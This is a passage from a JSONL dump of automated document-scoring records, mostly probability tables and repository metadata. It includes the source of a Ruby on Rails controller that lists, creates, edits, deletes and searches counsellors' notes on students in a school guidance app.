"mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9856, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9856, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:08.087076+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "686c85e6-86ee-4b3e-bd3f-cfa660bd164a", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ea2fb724e5eab85d05e9cc0158259be6bb17fef99250f8387c07df5e6aed3f05", "source_metadata": {"uuid": "686c85e6-86ee-4b3e-bd3f-cfa660bd164a", "repo_name": "leoariaspaz/remisctrl", "relative_path": "app/pdfs/movimiento_movil_pdf.rb", "category": "TOOL", "algo_rel_score": 0.9329978823661804, "quality_score": 5.745940208435059, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 71, "repo_created_at": "2014-05-12T15:40:35.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b37b63d0ee2bc601ac7ad60b4ef65474c3df2538", "size_bytes": 5367, "file_timestamp": 1511572507, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b9c3721ac18ee3e6038b0d6590027a1b629886d7"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 71, "repo_created_at": "2014-05-12T15:40:35.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b37b63d0ee2bc601ac7ad60b4ef65474c3df2538", "size_bytes": 5367, "file_timestamp": 1511572507, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b9c3721ac18ee3e6038b0d6590027a1b629886d7", "url": "https://github.com/leoariaspaz/remisctrl/blob/b9c3721ac18ee3e6038b0d6590027a1b629886d7/app/pdfs/movimiento_movil_pdf.rb"}, "gpt4o_tokens": 1278, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0271467931080895, "noise_severity": 0.010828541712152773, "missing_content_severity": 0.00910951200400493, "factual_density": 3.2962420110988693, "pretraining_utility": 0.35664816029290247, "math_density": 0.6175049164581803, "code_density": 3.8460890161441252, "reasoning_density": 0.2520673313541892, "education_level": 2.2523336279296693, "creative_writing_quality": -0.25543564349324865}, "score_applicability": {"education_level": 0.9988025705795217, "creative_writing_quality": 0.0007551910331237741}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/DuckyG/duckyguidance/blob/3927ebf37f325ee473d6466fd615aa26e5db5a6d/app/controllers/notes_controller.rb", "id": "ruby-0-af16d7b25882486060892981c02f5544", "text": "class NotesController < AuthorizedController\n # GET /notes\n # GET /notes.xml\n def index\n if params[:student_id]\n @student = current_school.students.accessible_by(current_ability).find(params[:student_id])\n @notes = @student.notes if @student\n elsif params[:group_id]\n @group = current_school.groups.accessible_by(current_ability).find(params[:group_id])\n @notes = @group.notes if @group\n else\n @notes = current_school.notes.accessible_by(current_ability)\n end\n page_notes\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notes }\n format.json {render :json => @notes}\n format.js\n end\n end\n\n def unassigned\n @notes = current_school.notes.accessible_by(current_ability).unassigned.page(params[:page])\n page_notes\n respond_to do |format|\n format.html { render :index }\n format.js { render :index }\n end\n end\n # GET /notes/1\n # GET /notes/1.xml\n def show\n @note = current_school.notes.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @note }\n end\n end\n\n # GET /notes/new\n # GET /notes/new.xml\n def new\n @note = current_school.notes.new\n @note.students<< current_school.students.find(params[:student_id])\n @note.counselor = current_user\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @note }\n end\n end\n\n # GET /notes/1/edit\n def edit\n @note = current_school.notes.find(params[:id])\n @note.tags_string = @note.get_tag_string\n end\n\n # POST /notes\n # POST /notes.xml\n def create\n @note = current_school.notes.build(params[:note])\n @student_id_string = params[:note][:student_ids]\n @note.counselor = current_user\n respond_to do |format|\n if @note.save\n if(@note.notify_students_counselor == '1')\n Notifier.another_counselor_post(@note).deliver\n end\n @target = @note.students.first\n unless @note.groups.first.nil?\n @target = @note.groups.first\n end\n unless @note.smart_groups.first.nil?\n @target = @note.smart_groups.first\n end\n format.html { redirect_to(@target) }\n format.xml { render :xml => @note, :status => :created, :location => @note }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n end\n end\n end\n\n # PUT /notes/1\n # PUT /notes/1.xml\n def update\n @note = current_school.notes.find(params[:id])\n @student = @note.students.first\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n format.html { redirect_to(@student) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n end\n end\n end\n\n # DELETE /notes/1\n # DELETE /notes/1.xml\n def destroy\n @note = current_school.notes.find(params[:id])\n @note.destroy\n\n respond_to do |format|\n format.html { redirect_to(dashboard_path, notice: \"Note has been deleted\") }\n format.xml { head :ok }\n end\n end\n\n def search\n auth_ids = params[:author_ids].map(&:to_i) if params[:author_ids]\n category_ids = params[:category_ids].map(&:to_i) if params[:category_ids]\n start_date = params[:start_date] unless params[:start_date].nil? || params[:start_date].empty?\n end_date = params[:end_date] unless params[:end_date].nil? || params[:end_date].empty?\n year_of_grad = params[:year_of_graduation] unless params[:year_of_graduation].nil? || params[:year_of_graduation].empty?\n shop_str= \"%#{params[:shop]}%\" unless params[:shop].nil? || params[:shop].empty?\n student_name= \"%#{params[:student_name]}%\" unless params[:student_name].nil? || params[:student_name].empty?\n tags = params[:tags].split(' ') unless params[:tags].nil? || params[:tags].empty?\n \n if year_of_grad || shop_str || student_name\n ids = current_school.students.where do\n conditions = {}\n conditions[year_of_graduation] = year_of_grad if year_of_grad\n conditions[shop.matches] = shop_str if shop_str\n conditions[full_name.matches] = student_name if student_name\n conditions\n end.joins(:notes).select(\"notes.id\")\n @notes = current_school.notes.where(:id => ids)\n else\n @notes = current_school.notes\n end\n\n if tags\n @tag_note_ids = current_school.tags.where do\n {name.matches_any => tags}\n end.joins(:notes).select(\"notes.id\")\n @notes = @notes.where(:id => @tag_note_ids)\n end\n\n @notes = @notes.where do\n conditions = {}\n conditions[notes.counselor_id] = auth_ids if auth_ids\n conditions[notes.category_id] = category_ids if category_ids\n conditions[notes.created_at.gteq] = start_date if start_date\n conditions[notes.created_at.lteq] = end_date if end_date\n conditions\n end\n\n @notes = @notes.page(params[:page])\n end\nend\n", "text_preview": "class NotesController < AuthorizedController # GET /notes # GET /notes.xml def index if params[:student_id] @student = current_school.students.accessible_by(current_ability).find(params[:student_id]) @notes = @student.notes if @student elsi", "input_sha256": "11a31e950c9f90862b655e004c91e5033f8b45427831e3fa489bc389acc2826c", "text_sha256": "af16d7b25882486060892981c02f554446b9c0acec0ec62159922c72da34a8e9", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16034, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9170537379027017, "noise_severity": 0.013168679202107335, "missing_content_severity": 0.011628513296435269, "factual_density": 3.3761616162561014, "pretraining_utility": 0.464186880608672, "math_density": 0.018489962852972157, "code_density": 3.893605790171404, "reasoning_density": 0.5222250011999602, "education_level": 2.3057739759639055, "creative_writing_quality": -0.378208593496285}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.0075542168320053005, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9971580403576906, "secondary": 0.9870642612383184, "tertiary": 0.9949469222804109, "structured_records": 0.0058821726716900904, "procedural_steps": 0.0021018041912787824, "worked_solution": 0.0017572455786529608, "contextual_dialogue": 5.158610876343582e-06, "content_quality": 0.5266656590814371, "noise_severity": 0.9890261006649106, "missing_content_severity": 0.9903095722529706, "factual_density": 0.4801346802134182, "pretraining_utility": 0.41286402568471003, "math_density": 0.9845916976225232, "code_density": 0.9113381584761698, "reasoning_density": 0.5648124990000332, "education_level": 0.6261086636528781, "creative_writing_quality": 0.9995846477667611, "primary_topic": 0.9694476503442637, "secondary_topic": 0.8548658544502409}, "probability_margin": {"primary": 0.995878627340418, "secondary": 0.981790001044577, "tertiary": 0.9931000074703474, "education_level": 0.41719592847361686, "creative_writing_quality": 0.9995132892477512, "primary_topic": 0.9460467401951804, "secondary_topic": 0.7573958067784351}, "raw_probabilities": {"primary": {"Academic Writing": 2.9877701291904856e-05, "Content Listing": 3.08419268578633e-05, "Creative Writing": 1.958343034313895e-05, "Customer Support Page": 9.719032290976623e-06, "Q&A Forum": 9.793260731638861e-06, "Discussion Thread": 7.406168199594007e-06, "Comment Section": 1.2574711746136687e-05, "Missing Content": 2.5060049110735936e-05, "Knowledge Article": 8.235164242430758e-05, "Legal Notices": 2.7615272418608233e-05, "News Article": 4.175526765009252e-06, "Organizational Announcement": 1.0394032874410243e-05, "Nonfiction Writing": 9.790776718113042e-06, "Organizational About Page": 1.1210925235263245e-05, "Personal About Page": 1.1381082337748466e-05, "Personal Blog": 6.651026179901979e-06, "Product Page": 6.894448834224226e-06, "Spam / Ads": 1.0804008268136174e-05, "Structured Data": 0.0008450108112666987, "Technical Writing": 0.9972764553427869, "Transcript / Interview": 1.3389541206774034e-05, "Tutorial / How-To Guide": 0.00013510299143092266, "User Reviews": 6.08828831229287e-06, "Other / Unknown": 0.0013978280023688385}, "secondary": {"Academic Writing": 0.00010956814333439078, "Content Listing": 0.00036404152221175903, "Creative Writing": 9.940285276354952e-05, "Customer Support Page": 4.9924582450016506e-05, "Q&A Forum": 3.727637248236098e-05, "Discussion Thread": 2.8543237428183574e-05, "Comment Section": 0.00019282485387966158, "Missing Content": 0.00035917874862448915, "Knowledge Article": 0.0005334397356033506, "Legal Notices": 0.0001663122292406079, "News Article": 4.487870019675295e-05, "Organizational Announcement": 4.663941341336489e-05, "Nonfiction Writing": 4.5107037520656274e-05, "Organizational About Page": 6.361054236185493e-05, "Personal About Page": 4.799680258366622e-05, "Personal Blog": 4.176491915220023e-05, "Product Page": 2.913057003951949e-05, "Spam / Ads": 5.4265801119112864e-05, "Structured Data": 0.0037300218442701282, "Technical Writing": 0.005813249308811423, "Transcript / Interview": 5.6509495389687216e-05, "Tutorial / How-To Guide": 0.00045931359961090036, "User Reviews": 2.3749334123917955e-05, "NONE": 0.9876032503533885}, "tertiary": {"Academic Writing": 3.647003816778946e-05, "Content Listing": 0.00013707407192389818, "Creative Writing": 3.9845203794395695e-05, "Customer Support Page": 2.0426849471503966e-05, "Q&A Forum": 1.4278596856001039e-05, "Discussion Thread": 1.1792988613390282e-05, "Comment Section": 7.99655027559296e-05, "Missing Content": 0.00021934978115079515, "Knowledge Article": 0.0001759875420384974, "Legal Notices": 0.00010526003092202502, "News Article": 2.1338749708266667e-05, "Organizational Announcement": 1.9738467743240353e-05, "Nonfiction Writing": 2.1871361561550696e-05, "Organizational About Page": 3.286666794157355e-05, "Personal About Page": 1.973745126964844e-05, "Personal Blog": 1.7099382951069944e-05, "Product Page": 1.5227895665582342e-05, "Spam / Ads": 2.7368602394090084e-05, "Structured Data": 0.0014248644306545503, "Technical Writing": 0.002057459715046371, "Transcript / Interview": 2.7170280247763857e-05, "Tutorial / How-To Guide": 0.0003068788421888321, "User Reviews": 1.0460361539505227e-05, "NONE": 0.9951574671853938}, "structured_records": {"false": 0.9941178273283099, "true": 0.0058821726716900904}, "procedural_steps": {"false": 0.9978981958087212, "true": 0.0021018041912787824}, "worked_solution": {"false": 0.998242754421347, "true": 0.0017572455786529608}, "contextual_dialogue": {"false": 0.9999948413891236, "true": 5.158610876343582e-06}, "content_quality": {"-2": 0.009101569608008916, "-1": 0.031688897284695414, "0": 0.23479123220636927, "1": 0.48189082739843786, "2": 0.24252747350248857}, "noise_severity": {"0": 0.9886724671897276, "1": 0.010150818235195381, "2": 0.0007157562570276336, "3": 0.0002574848193406344, "4": 0.0002034734987086954}, "missing_content_severity": {"0": 0.9935759857562071, "1": 0.002696275712444105, "2": 0.002499146922693571, "3": 0.0009804226960173034, "4": 0.00024816891263802803}, "factual_density": {"0": 0.0078702149866444, "1": 0.012696396840413335, "2": 0.09932886154815672, "3": 0.3556106101797671, "4": 0.5244939164450184}, "pretraining_utility": {"-2": 0.009914742007641687, "-1": 0.09592296372782803, "0": 0.39859799080625685, "1": 0.4111892785647636, "2": 0.08437502489350991}, "math_density": {"0": 0.9896127464949173, "1": 0.0070920299198891056, "2": 0.0006564846990508741, "3": 0.00046999200958937283, "4": 0.0021687468765532953}, "code_density": {"0": 0.0002765949915418967, "1": 0.0005302397525658063, "2": 0.012755729701910643, "3": 0.07818565120090995, "4": 0.9082517843530717}, "reasoning_density": {"0": 0.7602511230585763, "1": 0.06175415417421156, "2": 0.1047178765640016, "3": 0.04207229091509628, "4": 0.031204555288114128}, "education_level": {"none": 0.0013563686363927939, "0": 0.001574250408816074, "1": 0.01251843223342945, "2": 0.6884238863773984, "3": 0.2712279579037815, "4": 0.024899104440181622}, "creative_writing_quality": {"not_applicable": 0.9996538731389676, "-2": 6.22556461815234e-05, "-1": 8.277665552446131e-05, "0": 0.0001405838912164515, "1": 4.464154161394696e-05, "2": 1.5869126495671786e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.5241618088696594e-05, "Art & Design": 7.305238397784941e-05, "Law & Crime": 6.179395224128158e-05, "Education & Careers": 0.024576000520457775, "Entertainment & Media": 6.433080730166758e-05, "Fashion & Beauty": 8.177637092987587e-05, "Business, Economics & Finance": 0.00048802969690795036, "Food & Dining": 8.051046530788733e-05, "Games & Gaming": 0.00016195250904384254, "Electronics & Hardware": 9.172920074680537e-05, "Health, Healthcare & Wellness": 0.00023264571265272703, "History & Geography": 5.613973938907477e-05, "Home, Pets & Hobbies": 6.481999669054686e-05, "Industry & Production": 4.8637953337965254e-05, "Language, Literature & Philosophy": 5.664102828116317e-05, "Politics & Government": 5.451453819438322e-05, "Religion & Spirituality": 6.61915953739404e-05, "Science, Mathematics & Engineering": 0.00012370664937586925, "Relationships & Community": 0.00019025111830514712, "Software Usage & Applications": 0.0008658204665598797, "Programming & Software Engineering": 0.9706227407156381, "Sports & Fitness": 0.00020260287904564497, "Vehicles & Transportation": 3.2830040057106546e-05, "Travel & Tourism": 9.495221738884908e-05, "Other / Uncovered Subject": 0.0013809446680424105, "Unknown / Insufficient Content": 0.0001821431566633838}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000671039321229536, "Art & Design": 0.000545723344562763, "Law & Crime": 0.0006947896877296018, "Education & Careers": 0.10305213019295038, "Entertainment & Media": 0.0006631626566973812, "Fashion & Beauty": 0.00041583171199522257, "Business, Economics & Finance": 0.0018223048365436309, "Food & Dining": 0.0004313837455172005, "Games & Gaming": 0.0006186108848140612, "Electronics & Hardware": 0.0004968194749513701, "Health, Healthcare & Wellness": 0.000978351562272674, "History & Geography": 0.0002793555769117485, "Home, Pets & Hobbies": 0.0003741732429828764, "Industry & Production": 0.0002214486823198643, "Language, Literature & Philosophy": 0.0003058398538328049, "Politics & Government": 0.0003216611251595944, "Religion & Spirituality": 0.0004318472302743083, "Science, Mathematics & Engineering": 0.0004775406305738627, "Relationships & Community": 0.0005615214095369236, "Software Usage & Applications": 0.0026522509641708136, "Programming & Software Engineering": 0.019455341788410872, "Sports & Fitness": 0.000606065866429807, "Vehicles & Transportation": 0.00014241115758688067, "Travel & Tourism": 0.00040175827947578344, "Other / Uncovered Subject": 0.0029306998016846173, "NONE": 0.8604479369713854}}, "probabilities": {"primary": {"Academic Writing": 2.9877701291904856e-05, "Content Listing": 3.08419268578633e-05, "Creative Writing": 1.958343034313895e-05, "Customer Support Page": 9.719032290976623e-06, "Q&A Forum": 9.793260731638861e-06, "Discussion Thread": 7.406168199594007e-06, "Comment Section": 1.2574711746136687e-05, "Missing Content": 2.5060049110735936e-05, "Knowledge Article": 8.235164242430758e-05, "Legal Notices": 2.7615272418608233e-05, "News Article": 4.175526765009252e-06, "Organizational Announcement": 1.0394032874410243e-05, "Nonfiction Writing": 9.790776718113042e-06, "Organizational About Page": 1.1210925235263245e-05, "Personal About Page": 1.1381082337748466e-05, "Personal Blog": 6.651026179901979e-06, "Product Page": 6.894448834224226e-06, "Spam / Ads": 1.0804008268136174e-05, "Structured Data": 0.0008450108112666987, "Technical Writing": 0.9972764553427869, "Transcript / Interview": 1.3389541206774034e-05, "Tutorial / How-To Guide": 0.00013510299143092266, "User Reviews": 6.08828831229287e-06, "Other / Unknown": 0.0013978280023688385}, "secondary": {"Academic Writing": 0.00010956814333439078, "Content Listing": 0.00036404152221175903, "Creative Writing": 9.940285276354952e-05, "Customer Support Page": 4.9924582450016506e-05, "Q&A Forum": 3.727637248236098e-05, "Discussion Thread": 2.8543237428183574e-05, "Comment Section": 0.00019282485387966158, "Missing Content": 0.00035917874862448915, "Knowledge Article": 0.0005334397356033506, "Legal Notices": 0.0001663122292406079, "News Article": 4.487870019675295e-05, "Organizational Announcement": 4.663941341336489e-05, "Nonfiction Writing": 4.5107037520656274e-05, "Organizational About Page": 6.361054236185493e-05, "Personal About Page": 4.799680258366622e-05, "Personal Blog": 4.176491915220023e-05, "Product Page": 2.913057003951949e-05, "Spam / Ads": 5.4265801119112864e-05, "Structured Data": 0.0037300218442701282, "Technical Writing": 0.005813249308811423, "Transcript / Interview": 5.6509495389687216e-05, "Tutorial / How-To Guide": 0.00045931359961090036, "User Reviews": 2.3749334123917955e-05, "NONE": 0.9876032503533885}, "tertiary": {"Academic Writing": 3.647003816778946e-05, "Content Listing": 0.00013707407192389818, "Creative Writing": 3.9845203794395695e-05, "Customer Support Page": 2.0426849471503966e-05, "Q&A Forum": 1.4278596856001039e-05, "Discussion Thread": 1.1792988613390282e-05, "Comment Section": 7.99655027559296e-05, "Missing Content": 0.00021934978115079515, "Knowledge Article": 0.0001759875420384974, "Legal Notices": 0.00010526003092202502, "News Article": 2.1338749708266667e-05, "Organizational Announcement": 1.9738467743240353e-05, "Nonfiction Writing": 2.1871361561550696e-05, "Organizational About Page": 3.286666794157355e-05, "Personal About Page": 1.973745126964844e-05, "Personal Blog": 1.7099382951069944e-05, "Product Page": 1.5227895665582342e-05, "Spam / Ads": 2.7368602394090084e-05, "Structured Data": 0.0014248644306545503, "Technical Writing": 0.002057459715046371, "Transcript / Interview": 2.7170280247763857e-05, "Tutorial / How-To Guide": 0.0003068788421888321, "User Reviews": 1.0460361539505227e-05, "NONE": 0.9951574671853938}, "structured_records": {"false": 0.9941178273283099, "true": 0.0058821726716900904}, "procedural_steps": {"false": 0.9978981958087212, "true": 0.0021018041912787824}, "worked_solution": {"false": 0.998242754421347, "true": 0.0017572455786529608}, "contextual_dialogue": {"false": 0.9999948413891236, "true": 5.158610876343582e-06}, "content_quality": {"-2": 0.009101569608008916, "-1": 0.031688897284695414, "0": 0.23479123220636927, "1": 0.48189082739843786, "2": 0.24252747350248857}, "noise_severity": {"0": 0.9886724671897277, "1": 0.010150818235195383, "2": 0.0007157562570276337, "3": 0.00025748481934063445, "4": 0.00020347349870869543}, "missing_content_severity": {"0": 0.9935759857562071, "1": 0.002696275712444105, "2": 0.002499146922693571, "3": 0.0009804226960173034, "4": 0.00024816891263802803}, "factual_density": {"0": 0.0078702149866444, "1": 0.012696396840413335, "2": 0.09932886154815672, "3": 0.3556106101797671, "4": 0.5244939164450184}, "pretraining_utility": {"-2": 0.009914742007641687, "-1": 0.09592296372782803, "0": 0.39859799080625685, "1": 0.4111892785647636, "2": 0.08437502489350991}, "math_density": {"0": 0.9896127464949174, "1": 0.007092029919889106, "2": 0.0006564846990508742, "3": 0.0004699920095893729, "4": 0.0021687468765532957}, "code_density": {"0": 0.0002765949915418967, "1": 0.0005302397525658063, "2": 0.012755729701910643, "3": 0.07818565120090995, "4": 0.9082517843530717}, "reasoning_density": {"0": 0.7602511230585765, "1": 0.06175415417421157, "2": 0.10471787656400161, "3": 0.04207229091509629, "4": 0.03120455528811413}, "education_level": {"none": 0.001356368636392794, "0": 0.0015742504088160744, "1": 0.012518432233429454, "2": 0.6884238863773985, "3": 0.27122795790378157, "4": 0.02489910444018163}, "creative_writing_quality": {"not_applicable": 0.9996538731389679, "-2": 6.225564618152343e-05, "-1": 8.277665552446134e-05, "0": 0.00014058389121645155, "1": 4.464154161394697e-05, "2": 1.5869126495671793e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.52416180886966e-05, "Art & Design": 7.305238397784943e-05, "Law & Crime": 6.179395224128159e-05, "Education & Careers": 0.024576000520457778, "Entertainment & Media": 6.433080730166759e-05, "Fashion & Beauty": 8.177637092987588e-05, "Business, Economics & Finance": 0.0004880296969079504, "Food & Dining": 8.051046530788734e-05, "Games & Gaming": 0.00016195250904384257, "Electronics & Hardware": 9.172920074680538e-05, "Health, Healthcare & Wellness": 0.00023264571265272705, "History & Geography": 5.613973938907478e-05, "Home, Pets & Hobbies": 6.481999669054687e-05, "Industry & Production": 4.863795333796526e-05, "Language, Literature & Philosophy": 5.664102828116318e-05, "Politics & Government": 5.4514538194383225e-05, "Religion & Spirituality": 6.619159537394042e-05, "Science, Mathematics & Engineering": 0.00012370664937586928, "Relationships & Community": 0.00019025111830514715, "Software Usage & Applications": 0.0008658204665598798, "Programming & Software Engineering": 0.9706227407156383, "Sports & Fitness": 0.000202602879045645, "Vehicles & Transportation": 3.283004005710655e-05, "Travel & Tourism": 9.495221738884909e-05, "Other / Uncovered Subject": 0.0013809446680424107, "Unknown / Insufficient Content": 0.00018214315666338382}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000671039321229536, "Art & Design": 0.000545723344562763, "Law & Crime": 0.0006947896877296018, "Education & Careers": 0.10305213019295038, "Entertainment & Media": 0.0006631626566973812, "Fashion & Beauty": 0.00041583171199522257, "Business, Economics & Finance": 0.0018223048365436309, "Food & Dining": 0.0004313837455172005, "Games & Gaming": 0.0006186108848140612, "Electronics & Hardware": 0.0004968194749513701, "Health, Healthcare & Wellness": 0.000978351562272674, "History & Geography": 0.0002793555769117485, "Home, Pets & Hobbies": 0.0003741732429828764, "Industry & Production": 0.0002214486823198643, "Language, Literature & Philosophy": 0.0003058398538328049, "Politics & Government": 0.0003216611251595944, "Religion & Spirituality": 0.0004318472302743083, "Science, Mathematics & Engineering": 0.0004775406305738627, "Relationships & Community": 0.0005615214095369236, "Software Usage & Applications": 0.0026522509641708136, "Programming & Software Engineering": 0.019455341788410872, "Sports & Fitness": 0.000606065866429807, "Vehicles & Transportation": 0.00014241115758688067, "Travel & Tourism": 0.00040175827947578344, "Other / Uncovered Subject": 0.0029306998016846173, "NONE": 0.8604479369713854}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9872, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9872, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:08.872254+00:00", "scoring_key_slot": "primary", "dataset_uid": "a59ba458-e8cc-4cfb-b1a9-d7778bf17cf5", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2a8c8f4ddc14b6cd0900c5664c7690dd871f331e1cf037ee15089c040d191fa9", "source_metadata": {"uuid": "a59ba458-e8cc-4cfb-b1a9-d7778bf17cf5", "repo_name": "DuckyG/duckyguidance", "relative_path": "app/controllers/notes_controller.rb", "category": "WEB", "algo_rel_score": 0.9703217148780823, "quality_score": 4.291041851043701, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 550, "repo_created_at": "2012-09-01T01:39:24.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "355951ee2d0df854b1ddee64a8f3744a9f5bb13c", "size_bytes": 5077, "file_timestamp": 1439250903, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "3927ebf37f325ee473d6466fd615aa26e5db5a6d"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 550, "repo_created_at": "2012-09-01T01:39:24.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "355951ee2d0df854b1ddee64a8f3744a9f5bb13c", "size_bytes": 5077, "file_timestamp": 1439250903, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": 